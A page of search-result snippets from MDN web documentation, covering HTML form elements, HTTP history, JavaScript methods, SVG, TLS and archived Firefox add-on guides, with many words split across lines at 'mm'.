mma-separated email address is included if the attribute is not present. when multiple is set on the email input type, the user can inlclude zero (if not also required), one or more co
mma-separated email addresses. <input type="email" multiple name="emails" id="emails"> if and only if the mult...
...any trailing and leading whitespace is removed from each address in the list. when multiple is set on the file input type, the user can select one or more files. the user can choose multiple files from the file picker in any way that their chosen platform allows (e.g. by holding down shift or control, and then clicking). ...
...any trailing and leading whitespace is removed from each address in the list. if the required attribute is present, at least one email address is required. some browsers support the appearance of the list of options from the associated <datalist> for subsequent email addresses when multiple is present. others do not. file input when multiple is set on the file in...
...And 4 more matches
<label> - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. associating a <label> with an <input> element offers some major advantages: the label text is not only visually associated with its corresponding text input; it is progra
mmatically associated with it too. this means that, for example, a screenreader will read out the label when the user is focused on the form input, making it easier for an assistive technology user to understand what data should be entered. you can click the associated label to focus/activate the input, as well as the input itself. this increased hit area provides an advantage to anyone trying to a...
...if the label's text needs to be adjusted visually, use css classes applied to the <label> element instead. if a form, or a section of a form needs a title, use the <legend> element placed within a <fieldset>. don't <label for="your-name"> <h3>your name</h3> <input id="your-name" name="your-name" type="text"> </label> do <label class="large-label" for="your-...
... do <label class="large-label" for="your-name"> your name <input id="your-name" name="your-name" type="text"> </label> buttons an <input> element with a type="button" declaration and a valid value attribute does not need a label associated with it. doing so may actually interfere with how assistive technology parses the button input. the same applies for the <button> element. technical su
mmary content categories flow content, phrasing content, interactive content, form-associated element, palpable content. permitted content phrasing content, but no descendant label elements. no labelable elements other than the labeled control are allowed. tag omission none, both the starting and ending tag are mandatory. permitted parents any element...
...And 4 more matches
<textarea> - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... point submitted to the server when the form is submitted. rows and cols attributes to allow you to specify an exact size for the <textarea> to take. setting these is a good idea for consistency, as browser defaults can differ. default content entered between the opening and closing tags. <textarea> does not support the value attribute. the <textarea> element also accepts several attributes co
mmon to form <input>s, such as autocomplete, autofocus, disabled, placeholder, readonly, and required. attributes this element includes the global attributes. autocapitalize this is a non-standard attribute supported by webkit on ios (therefore nearly all browsers running on ios, including safari, firefox, and chrome), which controls whether and how the text value should be automatically cap...
...read-only control is still submitted with the form. required this attribute specifies that the user must fill in a value before submitting a form. rows the number of visible text lines for the control. spellcheck specifies whether the <textarea> is subject to spell checking by the underlying browser/os. the value can be: true: indicates that the element needs to have its spelling and gra
mmar checked. default : indicates that the element is to act according to a default behavior, possibly based on the parent element's own spellcheck value. false : indicates that the element should not be spell checked. wrap indicates how the control wraps text. possible values are: hard: the browser automatically inserts line breaks (cr+lf) so that each line has no more than the width ...
...And 4 more matches
Evolution of HTTP - HTTP
if http/1.0 user-agent: ncsa_mosaic/2.0 (windows 3.1) 200 ok date: tue, 15 nov 1994 08:12:32 gmt server: cern/3.0 libwww/2.17 content-type: text/gif (image content) these novelties have not been introduced as concerted effort, but as a try-and-see approach over the 1991-1995 period: a server and a browser added one feature and it saw if it got traction. a lot of interoperability problems were co
mmon. in november 1996, in order to solve these annoyances, an informational document describing the co
mmon practices has been published, rfc 1945. this is the definition of http/1.0 and it is notable that, in the narrow sense of the term, it isn't an official standard. http/1.1 – the standardized protocol in parallel to the somewhat chaotic use of the diverse implementations of http/1.0, and si...
...ew months after http/1.0. http/1.1 clarified ambiguities and introduced numerous improvements: a connection can be reused, saving the time to reopen it numerous times to display the resources embedded into the single original document retrieved. pipelining has been added, allowing to send a second request before the answer for the first one is fully transmitted, lowering the latency of the co
mmunication. chunked responses are now also supported. additional cache control mechanisms have been introduced. content negotiation, including language, encoding, or type, has been introduced, and allows a client and a server to agree on the most adequate content to exchange. thanks to the host header, the ability to host different domains at the same ip address now allows server colocation. ...
...s refined over two revisions, rfc 2616 published in june 1999 and the series of rfc 7230-rfc 7235 published in june 2014 in prevision of the release of http/2, this protocol has been extremely stable over more than 15 years. using http for secure transmissions the largest change that happened to http was done as early as end of 1994. instead of sending http over a basic tcp/ip stack, netscape co
mmunications created an additional encrypted transmission layer on top of it: ssl. ssl 1.0 was never released outside the company, but ssl 2.0 and its successor ssl 3.0 allowed for the creation of e-co
mmerce web sites by encrypting and guaranteeing the authenticity of the messages exchanged between the server and client. ssl was put on the standards track and eventually became tls, with versions 1.0...
...And 4 more matches
Object.freeze() - JavaScript
lease clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.freeze(obj) parameters obj the object to freeze. return value the object that was passed to the function. description nothing can be added to or removed from the properties set of a frozen object. any attempt to do so will fail, either silently or by throwing a typeerror exception (most co
mmonly, but not exclusively, when in strict mode). for data properties of a frozen object, values cannot be changed, the writable and configurable attributes are set to false. accessor properties (getters and setters) work the same (and still give the illusion that you are changing the value). note that values that are objects can still be modified, unless they are also frozen. as an object, an arr...
...note that; as the standard three properties (buf.bytelength, buf.byteoffset and buf.buffer) are read-only (as are those of an arraybuffer or sharedarraybuffer), there is no reason for attempting to freeze these properties. comparison to object.seal() objects sealed with object.seal() can have their existing properties changed. existing properties in objects frozen with object.freeze() are made i
mmutable. examples freezing objects var obj = { prop: function() {}, foo: 'bar' }; // before freezing: new properties may be added, // and existing properties may be changed or removed obj.foo = 'baz'; obj.lumpy = 'woof'; delete obj.prop; // freeze. var o = object.freeze(obj); // the return value is just the same object we passed in. o === obj; // true // the object has become frozen. ob...
... will throw a typeerror. object.setprototypeof(obj, { x: 20 }) obj.__proto__ = { x: 20 } freezing arrays let a = [0]; object.freeze(a); // the array cannot be modified now. a[0] = 1; // fails silently // in strict mode such attempt will throw a typeerror function fail() { "use strict" a[0] = 1; } fail(); // attempted to push a.push(2); // throws a typeerror the object being frozen is i
mmutable. however, it is not necessarily constant. the following example shows that a frozen object is not constant (freeze is shallow). obj1 = { internal: {} }; object.freeze(obj1); obj1.internal.a = 'avalue'; obj1.internal.a // 'avalue' to be a constant object, the entire reference graph (direct and indirect references to other objects) must reference only i
mmutable frozen objects. the objec...
...And 4 more matches
Promise.all() - JavaScript
the promise.all() method takes an iterable of promises as an input, and returns a single promise that resolves to an array of the results of the input promises. this returned promise will resolve when all of the input's promises have resolved, or if the input iterable contains no promises. it rejects i
mmediately upon any of the input promises rejecting or non-promises throwing an error, and will reject with this first rejection message / error. the source for this interactive demo is stored in a github repository. if you'd like to contribute to the interactive demo project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax promise.all(iterable); parameters iterable an iterable object such as an array. return value an already resolved ...
...ut "asynchronicity or synchronicity of promise.all" below. returned values will be in order of the promises passed, regardless of completion order. description this method can be useful for aggregating the results of multiple promises. it is typically used when there are multiple asynchronous tasks that are dependent on one another to complete successfully, as it does not wait and will reject i
mmediately upon any of the input promises rejecting. in comparison, the promise returned by promise.allsettled() will wait for all input promises to complete, regardless of whether or not one rejects. consequently, it will always return the final result of every promise and function from the input iterable. fulfillment the returned promise is fulfilled with an array containing all the values of...
... synchronicity of promise.all this following example demonstrates the asynchronicity (or synchronicity, if the iterable passed is empty) of promise.all: // we are passing as argument an array of promises that are already resolved, // to trigger promise.all as soon as possible var resolvedpromisesarray = [promise.resolve(33), promise.resolve(44)]; var p = promise.all(resolvedpromisesarray); // i
mmediately logging the value of p console.log(p); // using settimeout we can execute code after the stack is empty settimeout(function() { console.log('the stack is now empty'); console.log(p); }); // logs, in order: // promise { <state>: "pending" } // the stack is now empty // promise { <state>: "fulfilled", <value>: array[2] } the same thing happens if promise.all rejects: var mixedp...
...And 4 more matches
JavaScript
read more about javascript. this section is dedicated to the javascript language itself, and not the parts that are specific to web pages or other host environments. for information about api specifics to web pages, please see web apis and dom. ...
...read more about javascript. this section is dedicated to the javascript language itself, and not the parts that are specific to web pages or other host environments. for information about api specifics to web pages, please see web apis and dom. the standard for javascript is ecmascript. as of 2012, all modern browsers fully support ecmascript 5.1. ...
... ecmascript 3. on june 17, 2015, ecma international published the sixth major version of ecmascript, which is officially called ecmascript 2015, and was initially referred to as ecmascript 6 or es6. since then, ecmascript standards are on yearly release cycles. this documentation refers to the latest draft version, which is currently ecmascript 2020. do not confuse javascript with the java progra
mming language. both "java" and "javascript" are trademarks or registered trademarks of oracle in the u.s. and other countries. however, the two progra
mming languages have a very different syntax, semantic, and use. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started tutorials ...
...And 4 more matches
MathML documentation index - MathML
2 authoring mathml beginner, mathml, mathml project this page explains how to write mathematics using the mathml language. just like html, mathml is described with tags and attributes. html becomes verbose when your document contains advanced structures like lists or tables but fortunately there are many generators from simple notations, wysiwyg editors and other content management systems to help writing web pages. ...
...will still get an xml parsing error (in case of the xhtml notation of mathml), which has nothing to do with <merror>. 14 <mfenced> deprecated, mathml, mathml reference, mathml:element, mathml:general layout schemata the deprecated mathml <mfenced> element used to provide the possibility to add custom opening and closing parentheses (such as brackets) and separators (such as co
mmas or semicolons) to an expression. it has been removed from the latest mathml standard and modern browsers no longer support it. 15 <mfrac> mathml, mathml reference, mathml:element, mathml:general layout schemata the mathml <mfrac> element is used to display fractions. 16 <mglyph> mathml, mathml reference, mathml:element the mathml <mglyph> element is use...
... math the mathml <mlabeledtr> element is used to represent a label in a row either on the left or on the right side (determined using the side attribute on the <mtable> element). child elements of <mlabeledtr> must be <mtd> elements. the first child is the label whereas all other children are representing row contents and are treated identically to children of <mtr> elements. 19 <
mmultiscripts> mathml, mathml reference, mathml:element, mathml:script and limit schemata the mathml <
mmultiscripts> element allows you to create tensor-like objects. in a descriptive way tensors are multidimensional matrices (mathematical imprecise but exemplified). the degree of a tensor depends on the dimensionality of a representative array. for example, a number is a 0-dimensional arr...
...And 4 more matches
Media container formats (file types) - Web media technologies
the format of audio and video media files is defined in two parts (three if a file has both audio and video in it, of course): the audio and/or video codecs used and the media container format (or file type) used. in this guide, we'll look at the container formats used most co
mmonly on the web, covering basics about their specifications as well as their benefits, limitations, and ideal use cases. webrtc does not use a container at all. ...
...the container formats used most co
mmonly on the web, covering basics about their specifications as well as their benefits, limitations, and ideal use cases. webrtc does not use a container at all. instead, it streams the encoded audio and video tracks directly from one peer to another using mediastreamtrack objects to represent each track. see codecs used by webrtc for information about codecs co
mmonly used for making webrtc calls, as well as browser compatibility information around codec support in webrtc. co
mmon container formats while there are a vast number of media container formats, the ones listed below are the ones you are most likely to encounter. some support only audio while others support both audio and video. ...
...however, you may also encounter mp3, ogg, webm, avi, and other formats. ...
...And 4 more matches
href - SVG: Scalable Vector Graphics
ct any target element. however, the animation element will still operate normally with regard to its timing properties. specifically, timeevents are dispatched and the animation element can be used as syncbase in an identical fashion to when the url refers to a valid target element. if the href attribute or the deprecated xlink:href attribute is not provided, then the target element will be the i
mmediate parent element of the current animation element. if both xlink:href and href are specified, the value of the latter attribute is used. refer to the descriptions of the individual animation elements for any restrictions on what types of elements can be targets of particular types of animations. except for any svg-specific rules explicitly mentioned in this specification, the normative defi...
... on identifying a target element. note: unlike other animation elements, the <discard> element does not support the deprecated xlink:href attribute. note that if the target element is not part of the current svg document fragment, then whether the target element will be removed or not is defined by the host language. if the href attribute is not provided, then the target element will be the i
mmediate parent element of the <discard> element. value <url> default value none animatable no feimage for <feimage>, href defines a url referring to an image resource or to an element. if both, the xlink:href and the href attribute are specified, the latter overrides the former. value <url> default value none animatable ...
...o an element or fragment within an svg document to be cloned. the <use> element can reference an entire svg document by specifying an href value without a fragment. such references are taken to be referring to the root element of the referenced document. value <url> default value none animatable yes specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'href for <a>' in that specification. candidate reco
mmendation defines href for the <a> element. svg animations level 2the definition of 'href for <animate>, <animatemotion>, <animatetransform>, and <set>' in that specification. editor's draft defines href for animation elements. svg animations level 2...
...And 4 more matches
SVG documentation index - SVG: Scalable Vector Graphics
found 383 pages: # page tags and su
mmary 1 svg: scalable vector graphics 2d graphics, graphics, icons, images, reference, responsive design, svg, scalable graphics, scalable images, vector graphics, web, l10n:priority scalable vector graphics (svg) are an xml-based markup language for describing two-dimensional based vector graphics.xml 2 applying svg effects to html content css, guide, html, svg modern browsers support using svg within css styles to apply graphical effects to html content. 3 compatibility sources svg the following sources are used for the compatibility tables on svg elements and attributes: 4 content type needstechnicalreview, svg, types, data types svg makes use of a...
...imate a swarm of "motes". these motes are governed by two simple principles. first, each mote tries to move towards the mouse cursor, and second each mote tries to move away from the average mote position. combined, we get this very natural-looking behavior. 8 other resources reference, svg here is a list of additional resources on svg: 9 project svg no su
mmary! 10 replaced element svg this page was auto-generated because a user created a sub-page to this page. 11 svg 1.1 support in firefox firefox, svg you can find some basic examples of svg syntax and usage in the w3c svg test suite. 12 svg 2 support in mozilla firefox, svg svg 2 is the next major version of the svg standard, which is a...
...tional processing attributes intermediate, needsexample, property, reference, svg the svg conditional processing attributes are all the attributes that can be specified on some svg elements to control whether or not the element on which it appears should be rendered. 15 svg core attributes attribute, intermediate, reference, svg the svg core attributes are all the co
mmon attributes that can be specified on any svg element. 16 svg event attributes advanced, attribute, draft, landing, needsupdate, svg event attributes always have their name starting with "on" followed by the name of the event for which they are intended. they specifies some script to run when the event of the given type is dispatched to the element on which the attributes are...
...And 4 more matches
Transport Layer Security - Web security
the mozilla operations security (opsec) team maintains a wiki entry with reference configurations for servers. ...
...can have a substantial impact on the security and reliability of data. this article provides an overview of tls and the kinds of decisions you need to make when securing your content. history when https was introduced, it was based on secure sockets layer (ssl) 2.0, a technology introduced by netscape. it was updated to ssl 3.0 not long after, and as its usage expanded, it became clear that a co
mmon, standard encryption technology needed to be specified to ensure interoperability among all web browsers and servers. the internet engineering task force (ietf) specified tls 1.0 in rfc 2246 in january, 1999. the current version of tls is 1.3 (rfc 8446). despite the fact that the web now uses tls for encryption, many people still refer to it as "ssl" out of habit. although tls can be used o...
...gineering task force (ietf) specified tls 1.0 in rfc 2246 in january, 1999. the current version of tls is 1.3 (rfc 8446). despite the fact that the web now uses tls for encryption, many people still refer to it as "ssl" out of habit. although tls can be used on top of any low-level transport protocol, the original goal of the protocol was to encrypt http traffic. ...
...And 4 more matches
Tutorials
erials. whether you are just starting out, learning the basics, or are an old hand at web development, you can find helpful resources here for best practices. these resources are created by forward-thinking companies and web developers who have embraced open standards and best practices for web development and that provide or allow translations, through an open content license such as creative co
mmons. for complete beginners to the web getting started with the web getting started with the web is a concise series introducing you to the practicalities of web development. you'll set up the tools you need to construct a simple webpage and publish your own simple code. html tutorials introductory level introduction to html this module sets the stage, getting you used to important ...
...dule sets the stage, getting you used to important concepts and syntax, looking at applying html to text, how to create hyperlinks, and how to use html to structure a webpage. mdn html element reference a comprehensive reference for html elements, and how the different browsers support them. creating a simple web page with html an html guide for beginners that includes explanations of co
mmon tags, including html5 tags. also includes a step-by-step guide to creating a basic web page with code examples. html challenges use these challenges to hone your html skills (for example, "should i use an <h2> element or a <strong> element?"), focusing on meaningful markup. intermediate level multimedia and embedding this module explores how to use html to include multimedia in you...
...ow to use html to include multimedia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire other webpages. html tables representing tabular data on a webpage in an understandable, accessible way can be a challenge. this module covers basic table markup, along with more complex features such as implementing captions and su
mmaries. advanced level html forms forms are a very important part of the web — these provide much of the functionality you need for interacting with websites, e.g. registering and logging in, sending feedback, buying products, and more. this module gets you started with creating the client-side parts of forms. tips for authoring fast-loading html pages optimize web pages to provi...
...And 4 more matches
2015 MDN Fellowship Program - Archive of obsolete content
2015 mdn fellowship program launching in q1 2015, the mozilla developer fellowship intends to accelerate the involvement of highly-skilled and experienced web developers with the open web. who web and mobile developers with an established track record of contributions and expertise in a specific web technology, function or domain who wish to increase the effectiveness of their teaching and co
mmunications. what seven weeks of partnering closely with mozilla to (1) build curriculum, code, or likely both; and (2) receive coaching, training and best practices for effectively co
mmunicating and educating with technical information. we expect this to be between 5-10 hours of your time per week. specific projects (we encourage you to target one of these in your application): testthewebforwa...
... web developer with expertise in javascript, css, html as well as with efficient network interaction (queuing resource fetching, etc.). self-starter and autonomous worker mentor information brittany storoz, mozilla apps engineering. ...
... mentor information nick desaulniers, sleeps at desk. ...
...And 3 more matches
panel - Archive of obsolete content
ent. while content scripts can access the content they're attached to, they can't use the sdk's apis. so implementing a complete solution usually means you have to send messages between the content script and the main add-on code. you can specify one or more content scripts to load into a panel using the contentscript or contentscriptfile options to the panel() constructor. you can co
mmunicate with the script using either the postmessage() api or (preferably, usually) the port api. for example, here's an add-on whose content script intercepts mouse clicks on links inside the panel, and sends the target url to the main add-on code. the content script sends messages using self.port.emit() and the add-on script receives them using panel.port.on(). var myscript = "window.addeve...
...ory and use them to define the panel's content. we can call this "trusted" content, because unlike content loaded from a source outside the add-on, the add-on author knows exactly what it's doing. to interact with trusted content you don't need to use content scripts: you can just include a script from the html file in the normal way, using script tags. like a content script, these scripts can co
mmunicate with the add-on code using the postmessage() api or the port api. the crucial difference is that these scripts access the postmessage and port objects through the addon object, whereas content scripts access them through the self object. to show the difference, we can easily convert the text-entry add-on above to use normal page scripts instead of content scripts. the main add-on code is...
... contentstyle string, array a string or an array of strings containing the texts of stylesheets to load. stylesheets specified by this property are loaded after those specified by the contentstylefile property. contentscriptwhen string when to load the content scripts. ...
...And 3 more matches
dev/panel - Archive of obsolete content
mypanel = class({ extends: panel, label: "my panel", tooltip: "my new devtool's panel", icon: "./my-icon.png", url: "./my-panel.html", // when the panel is created, // take a reference to the debuggee setup: function(options) { this.debuggee = options.debuggee; }, dispose: function() { this.debuggee = null; }, onready: function() { // in this function you can co
mmunicate // with the panel document } }); // export the constructor exports.mypanel = mypanel; // create a new tool, initialized // with the new constructor const mytool = new tool({ panels: { mypanel: mypanel } }); panel document environment the panel document loaded from the url property can of course include css and javascript just like a normal web page: <html> <head> <meta c...
...y-panel.css"rel="stylesheet"></link> <script src="resource://sdk/dev/volcan.js"></script> </head> <body> <div id="content"></div> </body> <script src="./my-panel.js"></script> </html> it doesn't have access to any privileged apis, including the add-on sdk apis. however, it can receive messages from the add-on that created it, and the add-on can pass it the debuggee so it can co
mmunicate with the debugger server the developer tools are targeting. co
mmunicating with the panel document the main add-on code can't directly access the panel document or any scripts loaded by the panel document. however it can send messages to the panel document using the postmessage method of panel. this is closely modeled on window.postmessage. you can only send the panel document message aft...
...e("message from the add-on", [this.debuggee]); } }); // export the constructor exports.mypanel = mypanel; // create a new tool, initialized // with the new constructor const mytool = new tool({ panels: { mypanel: mypanel } }); this is being tracked as bug 1079540. two-way messaging the panel document does not have an equivalent postmessage method, so if you want your panel document to co
mmunicate back to the add-on, you can use channel messaging. in the add-on side: require the sdk/messaging module create a messagechannel keep one messageport in the add-on side for receiving messages from the panel document pass the other messageport to the panel document in the ports argument to postmessage // main.js // require the sdk modules const { panel } = require("dev/panel"); con...
...And 3 more matches
jpm-mobile - Archive of obsolete content
you can use jpm and jpm-mobile for firefox 38 and onwards. this article is the reference for jpm-mobile. the node-based replacement for cfx --force-mobile. enables you to run and test add-ons for firefox mobile (aka fennec). jpm usage is: jpm-mobile [co
mmand] [options] jpm supports the following global options: -h, --help - show a help message and exit -v, --version - print the jpm version number installation jpm-mobile is distributed using the node package manager npm, so to get jpm-mobile you need to have npm installed, if you haven't already. npm is included in node.js, so to install npm, visit nodejs.org and click the install button. after that you can install jpm just as you would any other npm package: npm install jpm-mobile -g depending on your setup, you m...
...anager npm, so to get jpm-mobile you need to have npm installed, if you haven't already. npm is included in node.js, so to install npm, visit nodejs.org and click the install button. after that you can install jpm just as you would any other npm package: npm install jpm-mobile -g depending on your setup, you might need to run this as an administrator: sudo npm install jpm-mobile -g at the co
mmand prompt, type: jpm-mobile you should see a screen su
mmarizing the available jpm-mobile co
mmands. note that unlike cfx, jpm-mobile is available in every co
mmand prompt you start, as long as you installed it with the -g flag. problems? if you don't see this, ask for help. sdk users and project team members discuss problems and proposals on the project mailing list. someone else may have had t...
... you start, as long as you installed it with the -g flag. problems? if you don't see this, ask for help. sdk users and project team members discuss problems and proposals on the project mailing list. someone else may have had the same problem you do, so try searching the list. you're welcome to post a question, too. you can also chat with other sdk users in #jetpack on mozilla's irc network. ...
...And 3 more matches
Developing for Firefox Mobile - Archive of obsolete content
-mobile instead of the normal jpm. right now not all modules are fully functional, but we're working on adding support for more modules. the tables at the end of this guide list the modules that are currently supported on firefox mobile. this tutorial explains how to run sdk add-ons on an android device connected via usb to your development machine. we'll use the android debug bridge (adb) to co
mmunicate between the add-on sdk and the device. it's possible to use the android emulator to develop add-ons for android without access to a device, but it's slow, so for the time being it's much easier to use the technique described below. setting up the environment first you'll need an android device capable of running the native version of firefox mobile. then: install the nightly build ...
...f the native version of firefox mobile on the device. enable usb debugging on the device (step 2 of this link only) on the development machine: install version 1.5 or higher of the add-on sdk install the correct version of the android sdk for your device using the android sdk, install the android platform tools next, attach the device to the development machine via usb. now open up a co
mmand shell. android platform tools will have installed adb in the "platform-tools" directory under the directory in which you installed the android sdk. make sure the "platform-tools" directory is in your path. then type: adb devices you should see some output like: list of devices attached 51800f220f01564 device (the long hex string will be different.) if you do, then adb has found your dev...
... be different.) if you do, then adb has found your device and you can get started. running add-ons on android you can develop your add-on as normal, as long as you restrict yourself to the supported modules. when you need to run the add-on, first ensure that firefox is not running on the device. then execute jpm-mobile run with some extra options: jpm-mobile run --adb /path/to/adb in the co
mmand shell, you should see something like: launching mobile application with intent name org.mozilla.fennec pushing the addon to your device starting: intent { act=android.activity.main cmp=org.mozilla.fennec/.app (has extras) } --------- beginning of /dev/log/main --------- beginning of /dev/log/system could not read chrome manifest 'file:///data/data/org.mozilla.fennec/chrome.manifest'. info: st...
...And 3 more matches
Enhanced Extension Installation - Archive of obsolete content
background there are several flaws with extension1 installation in firefox2 1.0, including: it is very difficult for a third party application with its own managed install process to install an extension into firefox. first it must locate the firefox executable, then run it with the -install-global-extension co
mmand line flag, which installs from a xpi into the firefox application directory. aside from the work of locating the firefox executable in the first place (which varies from platform to platform), this is very limiting because: it forces the third party application to package its firefox integration hooks as a xpi. it forces it to have write access to the firefox directory in order to be installed, which may not always be the case. it forces its items to be located i...
...e item, or the default one) if there is remote compatibility information that supercedes the compatibility information held by the item. if there is, and this remote information makes it so that the item is now compatible with the running version of the application, the item is configured in the manner described above (metadata written, added to container). finalization for themes, the item is i
mmediately installed fully, rather than awaiting the next restart, since themes do not supply xpcom components, preferences defaults etc. for extensions, on the next startup, the startup system notices the presence of the .autoreg file and starts the extension manager with a "dirty" flag, telling it to finish any install operations that may be pending. the extension manager loads the xml/rdf datas...
... and simply placing a text "link" file in the applicable directory above that links to the location of the extension in its installed state at the other location. any location specified in a guid-to-path registry key mapping, e.g. [hklm|hkcu]\software\mozilla\firefox\extensions given these goals, and the likelihood of future goals, such as potential for extensions to the xulrunner framework, co
mmon drop zones for xpis etc it makes sense to have the set of install locations be customizable. by default, the application knows about and maintains three install locations: app-profile a directory-based install location for items living in the application profile extensions directory. app-global a directory-based install location for items living in the application global extensions dire...
...And 3 more matches
Intercepting Page Loads - Archive of obsolete content
instead. some of the techniques presented here apply only to content loaded in the main browser area, while others detect content being loaded in other xul windows, or even detect xul content being loaded. also, the different techniques tap into different steps of the load process. which one you should use solely depends on your needs. we will start with the simplest one, which is also the most co
mmon to use. note: performance is very important when it comes to add-ons and page loads. read the reco
mmendations in appendix a regarding performance if you're planning on implementing any of these. the easy way: load events this comes from the tabbrowser code snippets page. in a nutshell, from the chrome code in the overlay we add an event listener for the load event. this._loadhandler = funct...
...doc.defaultview.frameelement) { // frame within a tab was loaded. // find the root document: while (doc.defaultview.frameelement) { doc = doc.defaultview.frameelement.ownerdocument; } } } } the second if validation is necessary if you need to make a distinction for html documents being loaded in inner page frames. few modern sites use framesets, but it is co
mmon for ads to appear inside iframe elements. in most cases you'll need to compare the page url with some string or regular expression: if (some_regular_expression.test(doc.defaultview.location.href)) you can access and modify the dom of the loaded page, just like you normally would for xul and html documents. you can't, however, easily cancel the page load. you can close the tab, redirect the ...
...cel the page load. you can close the tab, redirect the tab to about:blank or another page, or tell the browser to stop loading this page, but in general you don't want to do this because it will be visible to the user and it will look like a bug. there are better ways to intercept page loads before any content is downloaded, and before the user sees anything in the tab. http observers another co
mmon way of detecting and intercepting loads is using http observer topics. this is how the tamper data extension and others do it. http notifications are fired for all http requests originating from firefox. they are window-independent, so it is better to keep your observer code in non-chrome objects (your xpcom service or jsm module). otherwise you have to make sure to avoid duplicated work if yo...
...And 3 more matches
Introduction - Archive of obsolete content
next » welcome to the xul school tutorial! ...
...pcoast (formerly glaxstar), one of the few companies dedicated to building high-quality firefox extensions. a team of over a dozen xul developers conformed glaxstar at the time this tutorial was created, and the combined experiences of years creating firefox extensions are reflected here. with this tutorial you'll learn how to develop firefox extensions. you'll learn how to quickly do the most co
mmon tasks in extension development, comparing several different approaches to solve them. in most cases we'll provide code samples that you can easily copy and adapt to your needs, as well as some working example extensions. the tutorial aims to be as brief as possible, often falling back on mozilla documentation for more detailed information. you can think of it as a quick guide to the expansive w...
...and firefox the term mozilla can be used to refer to several concepts: the mozilla project, the mozilla foundation, the mozilla corporation and the old mozilla browser. even firefox is sometimes referred to as "mozilla". if you're unfamiliar with these terms, it's good that you take some time and learn a little about mozilla. this will help you understand the culture that surrounds the mozilla co
mmunity. mozilla has spawned several products and projects, the most notable being the mozilla firefox web browser. firefox is one of the most successful open source projects in history, combining the openness, standards-compliance and sophistication of open source with the focus on user experience and powerful outreach more co
mmonly seen in less open companies. version 1.0 of firefox was released...
...And 3 more matches
User Notifications and Alerts - Archive of obsolete content
users will find them annoying and probably will learn to dismiss them as quickly as possible without even reading what they have to say. or they will just get rid of your add-on. ...
...e. the "remember password" prompt is the one that shows up the most often. they are thin boxes that appear from beneath the tab list and above the page content, with some text and maybe a few buttons. this kind of notification is implemented with a notificationbox. this kind on notification is very easy to implement, it doesn't interrupt the user and is easy to read and dismiss, so it is our reco
mmended way of displaying alerts and notifications. there's a catch, though: these notifications are inside the current tab, so switching tabs will make a notification disappear. the notification shows up again when you come back to the tab that displayed it. this means that these notifications make the most sense when they are related to the page currently being displayed, such as a page trying to ...
...uttons are represented by simple js data objects. this is all explained in detail in the notificationbox page. notification boxes are designed to be easily dismissed. all notifications have an additional close button, so you should take into account that it's possible that none of your custom buttons will be clicked. also, clicking on any of your custom buttons will cause the notification to be i
mmediately closed, so you should only use notification boxes for single-step processes. the alerts service this is a very good option when you want to alert users about events without requiring input from them. alerts are displayed in an os-specific way, so their look is native. you can associate an action to the user clicking on the alert. another advantage is that you use an xpcom service to do ...
...And 3 more matches
Signing an XPI - Archive of obsolete content
the v4.6/winnt5.0_opt.obj/ folder. 2. extract the contents of the archive file to a local folder. in my case it's c:\apps\nspr-4.6\ add path add the nss tools bin/ and lib/, and the nspr lib/ directories to the system path. you can either set this permanently via control panel->system properties->advanced->environment variables->system variables or do it each time you run the tools from the co
mmand-line (preferably using a batch file). windows contains its own version of some of these files (e.g. certutil.exe) in the system directory (\windows\system32\) so ensure the new paths are first in the path search list. c:\> set path=c:\apps\nss-3.11.4\bin\;c:\apps\nss-3.11.4\lib\;c:\apps\nspr-4.6\lib\;%path% an easier way is to copy everything from your new directories c:\apps\nss-3.11.4\ an...
... in the system directory (\windows\system32\) so ensure the new paths are first in the path search list. c:\> set path=c:\apps\nss-3.11.4\bin\;c:\apps\nss-3.11.4\lib\;c:\apps\nspr-4.6\lib\;%path% an easier way is to copy everything from your new directories c:\apps\nss-3.11.4\ and c:\apps\nspr-4.6\ including sub directories to the same directory - fx c:\apps\codesigning\ - and then run every co
mmand from that. initialize the certificate database decide which folder to create the certificate database in. use this co
mmand to create it (note the trailing dot is required). c:\projects\codesigning\> certutil -n -d . the dot will cause the database to be created in the current directory. you will be prompted for the nss certificate database password - don't forget it! c:\projects\codesig...
... performing this operation while the browser is running could cause corruption of your security databases. if the browser is currently running, you should exit the browser before continuing this operation. enter "y" to continue, or anything else to abort: y enter certificate information. all fields are optional. acceptable characters are numbers, letters, spaces, and apostrophes. certificate co
mmon name: xpi test organization: tjworld organization unit: software state or province: nottingham country (must be exactly 2 characters): gb username: tj email address: certificates@lan.tjworld.net generated public/private key pair certificate request generated certificate has been signed certificate "mytestcert" added to database exported certificate to x509.raw and x509.cacert. x509.cacert wil...
...And 3 more matches
XUL user interfaces - Archive of obsolete content
le demonstration that runs in your mozilla browser. information: user interfaces although html has some support for user interfaces, it does not support all the features that you need to make a standalone application. mozilla overcomes this limitation by providing a specialized language for creating user interfaces: xul (xml user-interface language, usually pronounced like "zool"). in xul, many co
mmon user interface features are built in. for example, xul provides specialized windows like dialogs and wizards, as well as status bars, menus, tool bars, and even browsers. more specialized features can be built from parts by using xul together with other technologies that you have seen in this tutorial: css style, javascript code, and xbl bindings. like other xml-based languages, xul uses css st...
...value="xul demonstration"/> <vbox> <groupbox class="demo-group"> <caption label="day of week calculator"/> <grid> <columns> <column/> <column/> </columns> <rows> <row> <label class="text-prompt" value="date:" accesskey="d" control="date-text"/> <textbox id="date-text" type="timed" timeout="750" onco
mmand="refresh();"/> </row> <row> <label value="day:"/> <hbox id="day-box"> <label class="day" value="sunday" disabled="true"/> <label class="day" value="monday" disabled="true"/> <label class="day" value="tuesday" disabled="true"/> <label class="day" value="wednesday" disabled="true"/> <label class="da...
...copy and paste the content from here, making sure that you scroll to get all of it: /*** xul demonstration ***/ window { -moz-box-align: ...
...And 3 more matches
Getting Started - Archive of obsolete content
ng a zip archive. however, if your application doesn't detect classic.jar as a standard zip archive, rename the file classic.zip and continue extraction. ...
...skin\classic\editor editor contains files of composer. skin\classic\global global contains almost all of the important css files that define the appearance of the suite. ...
...skin\classic\editor editor contains files of composer. skin\classic\global global contains almost all of the important css files that define the appearance of the suite. ...
...And 3 more matches
